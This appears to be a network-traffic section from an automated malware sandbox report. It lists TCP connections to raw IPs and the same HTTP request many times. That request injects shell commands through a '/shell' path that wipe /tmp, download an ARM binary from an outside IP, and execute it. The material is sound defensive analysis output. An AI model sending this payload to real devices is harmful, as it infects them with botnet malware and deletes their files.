    Source: unknownTCP traffic detected without corresponding DNS query: 41.134.236.213
    Source: unknownTCP traffic detected without corresponding DNS query: 156.164.199.77
    Source: unknownTCP traffic detected without corresponding DNS query: 41.147.115.175
    Source: unknownTCP traffic detected without corresponding DNS query: 197.132.161.141
    Source: unknownTCP traffic detected without corresponding DNS query: 197.71.123.85
    Source: unknownTCP traffic detected without corresponding DNS query: 41.184.134.255
    Source: unknownTCP traffic detected without corresponding DNS query: 41.248.212.105
    Source: unknownTCP traffic detected without corresponding DNS query: 41.146.104.232
    Source: unknownTCP traffic detected without corresponding DNS query: 156.20.37.138
    Source: unknownTCP traffic detected without corresponding DNS query: 41.102.163.221
    Source: unknownTCP traffic detected without corresponding DNS query: 197.43.55.38
    Source: unknownTCP traffic detected without corresponding DNS query: 197.120.102.242
    Source: unknownTCP traffic detected without corresponding DNS query: 41.138.157.76
    Source: unknownTCP traffic detected without corresponding DNS query: 156.194.20.87
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
    Source: global trafficHTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Connection: keep-alive
